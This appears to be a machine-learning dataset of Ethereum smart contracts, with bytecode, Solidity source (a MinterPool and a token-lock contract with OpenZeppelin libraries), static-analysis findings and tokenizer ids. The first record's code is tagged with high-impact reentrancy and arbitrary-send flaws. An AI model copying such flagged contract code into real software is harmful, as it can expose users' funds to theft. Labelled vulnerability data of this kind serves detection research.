061460a85600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061465681614e66565b614660848361500b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806146e2876135a4565b95509550955095509550955061474086600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506147d583600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061486a85600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506148b681614e66565b6148c0848361500b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614942876135a4565b9550955095509550955095506149a086600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a3585600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a8181614e66565b614a8b848361500b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614b0d876135a4565b955095509550955095509550614b6b87600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c0086600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c9583600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d2a85600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d7681614e66565b614d80848361500b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601454601381905550601754601581905550565b6000614e2e6064614e20601354856141eb90919063ffffffff16565b6134d290919063ffffffff16565b9050919050565b6000614e5f6064614e51601554856141eb90919063ffffffff16565b6134d290919063ffffffff16565b9050919050565b6000614e706134a7565b90506000614e8782846141eb90919063ffffffff16565b9050614edb81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561500657614fc283600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61502082600e5461360090919063ffffffff16565b600e8190555061503b81600f5461351c90919063ffffffff16565b600f81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373546865206368617269747920616464726573732063616e6e6f74207265636569766520746f6b656e735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f546865206368617269747920616464726573732063616e6e6f742073656e6420746f6b656e734c6f636b6564206c697175696469747920616464726573732063616e6e6f74206265206368616e676564206f6e6365207365744368617269747920616464726573732063616e6e6f74206265206368616e676564206f6e63652073657445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c623a883ab4705c8f5890764fa6eb76f0df3e31d0c0997668ea01def38ff75864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2850, 2575, 2620, 26224, 20958, 2509, 27421, 14141, 21619, 2581, 2575, 2620, 18939, 2094, 19317, 2581, 2050, 26976, 2581, 22932, 26224, 24434, 2620, 6305, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 3802, 7898, 9336, 16798, 2475, 1011, 6021, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 2293, 2017, 3566, 1008, 1013, 1013, 1008, 1001, 3647, 16429, 4747, 2838, 1024, 1066, 1015, 1003, 7408, 8285, 5587, 2000, 1996, 6381, 3012, 4770, 2000, 2022, 5299, 1066, 1015, 1003, 7408, 8285, 5587, 2000, 5952, 15882, 1022, 1003, 7408, 8285, 16062, 2000, 2035, 13304, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,157
0x964f4f19bc823e72cc1f806021937cfc06f63b45
// File: contracts/ownership/Ownable.sol pragma solidity <6.0 >=0.4.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/iotube/MinterPool.sol pragma solidity <6.0 >=0.4.24; interface IMintableToken { function mint(address, uint256) external returns(bool); } contract MinterPool is Ownable { function mint(address _token, address _to, uint256 _amount) public onlyOwner returns (bool) { return IMintableToken(_token).mint(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80638da5cb5b14610046578063c6c3bbe61461006a578063f2fde38b146100b4575b600080fd5b61004e6100dc565b604080516001600160a01b039092168252519081900360200190f35b6100a06004803603606081101561008057600080fd5b506001600160a01b038135811691602081013590911690604001356100eb565b604080519115158252519081900360200190f35b6100da600480360360208110156100ca57600080fd5b50356001600160a01b0316610197565b005b6000546001600160a01b031681565b600080546001600160a01b0316331461010357600080fd5b836001600160a01b03166340c10f1984846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561016357600080fd5b505af1158015610177573d6000803e3d6000fd5b505050506040513d602081101561018d57600080fd5b5051949350505050565b6000546001600160a01b031633146101ae57600080fd5b6001600160a01b0381166101c157600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fea265627a7a72315820bab8696d825a8df6e3a78c0a3c46acd8500e999c01a8e239daa391775dd0aa4964736f6c634300050c0032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2546, 2549, 2546, 16147, 9818, 2620, 21926, 2063, 2581, 2475, 9468, 2487, 2546, 17914, 16086, 17465, 2683, 24434, 2278, 11329, 2692, 2575, 2546, 2575, 2509, 2497, 19961, 1013, 1013, 5371, 1024, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1026, 1020, 1012, 1014, 1028, 1027, 1014, 1012, 1018, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,158
0x964F84048F0d9BB24B82413413299c0a1d61EA9F
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity ^0.8.6; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract TokenLock is OwnableUpgradeable, IERC20 { ERC20 public token; uint256 public depositDeadline; uint256 public lockDuration; string public name; string public symbol; uint256 public override totalSupply; mapping(address => uint256) public override balanceOf; /// Withdraw amount exceeds sender's balance of the locked token error ExceedsBalance(); /// Deposit is not possible anymore because the deposit period is over error DepositPeriodOver(); /// Withdraw is not possible because the lock period is not over yet error LockPeriodOngoing(); /// Could not transfer the designated ERC20 token error TransferFailed(); /// ERC-20 function is not supported error NotSupported(); function initialize( address _owner, address _token, uint256 _depositDeadline, uint256 _lockDuration, string memory _name, string memory _symbol ) public initializer { __Ownable_init(); transferOwnership(_owner); token = ERC20(_token); depositDeadline = _depositDeadline; lockDuration = _lockDuration; name = _name; symbol = _symbol; totalSupply = 0; } /// @dev Deposit tokens to be locked until the end of the locking period /// @param amount The amount of tokens to deposit function deposit(uint256 amount) public { if (block.timestamp > depositDeadline) { revert DepositPeriodOver(); } balanceOf[msg.sender] += amount; totalSupply += amount; if (!token.transferFrom(msg.sender, address(this), amount)) { revert TransferFailed(); } emit Transfer(msg.sender, address(this), amount); } /// @dev Withdraw tokens after the end of the locking period or during the deposit period /// @param amount The amount of tokens to withdraw function withdraw(uint256 amount) public { if ( block.timestamp > depositDeadline && block.timestamp < depositDeadline + lockDuration ) { revert LockPeriodOngoing(); } if (balanceOf[msg.sender] < amount) { revert ExceedsBalance(); } balanceOf[msg.sender] -= amount; totalSupply -= amount; if (!token.transfer(msg.sender, amount)) { revert TransferFailed(); } emit Transfer(address(this), msg.sender, amount); } /// @dev Returns the number of decimals of the locked token function decimals() public view returns (uint8) { return token.decimals(); } /// @dev Lock claim tokens are non-transferrable: ERC-20 transfer is not supported function transfer(address, uint256) external pure override returns (bool) { revert NotSupported(); } /// @dev Lock claim tokens are non-transferrable: ERC-20 allowance is not supported function allowance(address, address) external pure override returns (uint256) { revert NotSupported(); } /// @dev Lock claim tokens are non-transferrable: ERC-20 approve is not supported function approve(address, uint256) external pure override returns (bool) { revert NotSupported(); } /// @dev Lock claim tokens are non-transferrable: ERC-20 transferFrom is not supported function transferFrom( address, address, uint256 ) external pure override returns (bool) { revert NotSupported(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 